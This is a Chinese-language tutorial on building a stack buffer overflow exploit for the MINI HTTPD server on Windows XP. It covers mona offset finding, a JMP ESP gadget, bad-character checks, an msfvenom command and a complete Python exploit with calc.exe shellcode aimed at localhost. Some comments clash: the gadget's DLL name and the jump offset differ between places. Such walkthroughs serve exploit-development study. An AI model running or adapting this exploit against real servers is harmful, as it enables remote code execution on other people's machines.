MINI HTTPD 远程代码执行漏洞EXP编写
字数 770 2025-08-19 12:42:36

MINI HTTPD 远程代码执行漏洞EXP编写教程

测试环境准备

  • 操作系统:Windows XP Home with Service Pack 3 (x86)
  • 调试工具:Immunity Debugger(x86)/mona
  • Python版本:Python 2.7.1(主要使用)
  • 目标服务:MINI HTTPD

漏洞利用开发流程

1. 初始POC构造

import sys
import socket

# 创建缓冲区
buffer = "A" * 1000

HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((HOST, PORT))  
s.send(req)  
data = s.recv(1024)  
s.close()  
print 'Received', repr(data)

2. 偏移量计算

使用mona插件创建模式字符串:

!mona config -set workingfolder c:\logs\%p
!mona pc 1000

分析崩溃时的寄存器值,确定EIP覆盖点:

!mona findmsp

结果显示EIP在967字节后被覆盖,ESP指向偏移971处。

3. 验证偏移量

offset_eip = 967
EIP = 'BBBB'
ESP = 'CCCC'
ESI = 'DDDD'
buffer = 'A' * 225
buffer += ESI
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))

4. 寻找JMP ESP指令

使用mona查找可用的JMP ESP指令:

!mona jmp -r esp

选择USER32.dll中的地址:0x7e4456f7

5. 构造跳转指令

import struct
EIP = struct.pack('<I', 0x7e4456f7)  # jmp esp : USER32.dll gadget
ESP = '\xcc\xcc\xcc\xcc'  # 断点指令

6. 计算跳转距离

使用metasm计算向后跳转的操作码:

jmp $-971  # 0xE930FCFFFF

7. 确定shellcode位置

使用模式字符串确定shellcode偏移量为641字节

8. 坏字符检测

排除已知坏字符:\x00\x20\x2f\x3f
使用mona生成检测数组:

!mona bytearray -cpb "\x00\x20\x2f\x3f"

通过多次测试发现额外坏字符:\x0d\x0c\x0b\x0a\x09

9. 生成shellcode

使用msfvenom生成calc.exe的shellcode:

msfvenom -p windows/exec CMD=calc.exe -b "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09" -f c --arch x86 --platform windows

10. 调整栈指针

为避免shellcode执行时破坏栈,添加栈指针调整指令:

add esp,-3e8h  # "\x81\xc4\x18\xfc\xff\xff"

完整EXP代码

import sys
import socket
import struct

offset_eip = 967
offset_shellcode = 641
EIP = struct.pack('<I', 0x7e4456f7)  # jmp esp ntdll.dll

# 坏字符: "\x00\x20\x2f\x3f\x0d\x0c\x0b\x0a\x09"

ESP = '\x81\xc4\x18\xfc\xff\xff'  # add esp,-3e8h
ESP += "\xe9\x2a\xfc\xff\xff"    # jmp $-977
buffer = 'A' * offset_shellcode

# windows/exec CMD=calc.exe
shellcode = (
"\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24"
"\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1"
"\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d"
"\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b"
"\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd"
"\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10"
"\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08"
"\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5"
"\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d"
"\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05"
"\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc"
"\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11"
"\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44"
"\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb"
"\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74"
)

buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))

HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

关键点总结

  1. 偏移量计算:使用mona生成模式字符串并分析崩溃点
  2. 指令选择:选择系统DLL中稳定的JMP ESP指令
  3. 坏字符检测:逐步排除所有会影响漏洞利用的字符
  4. 栈指针调整:确保shellcode执行时不会破坏自身
  5. 跳转计算:精确计算跳转距离以准确到达shellcode位置

通过以上步骤,可以成功利用MINI HTTPD的远程代码执行漏洞。

MINI HTTPD 远程代码执行漏洞EXP编写教程 测试环境准备 操作系统:Windows XP Home with Service Pack 3 (x86) 调试工具:Immunity Debugger(x86)/mona Python版本:Python 2.7.1(主要使用) 目标服务:MINI HTTPD 漏洞利用开发流程 1. 初始POC构造 2. 偏移量计算 使用mona插件创建模式字符串: 分析崩溃时的寄存器值,确定EIP覆盖点: 结果显示EIP在967字节后被覆盖,ESP指向偏移971处。 3. 验证偏移量 4. 寻找JMP ESP指令 使用mona查找可用的JMP ESP指令: 选择USER32.dll中的地址:0x7e4456f7 5. 构造跳转指令 6. 计算跳转距离 使用metasm计算向后跳转的操作码: 7. 确定shellcode位置 使用模式字符串确定shellcode偏移量为641字节 8. 坏字符检测 排除已知坏字符:\x00\x20\x2f\x3f 使用mona生成检测数组: 通过多次测试发现额外坏字符:\x0d\x0c\x0b\x0a\x09 9. 生成shellcode 使用msfvenom生成calc.exe的shellcode: 10. 调整栈指针 为避免shellcode执行时破坏栈,添加栈指针调整指令: 完整EXP代码 关键点总结 偏移量计算 :使用mona生成模式字符串并分析崩溃点 指令选择 :选择系统DLL中稳定的JMP ESP指令 坏字符检测 :逐步排除所有会影响漏洞利用的字符 栈指针调整 :确保shellcode执行时不会破坏自身 跳转计算 :精确计算跳转距离以准确到达shellcode位置 通过以上步骤,可以成功利用MINI HTTPD的远程代码执行漏洞。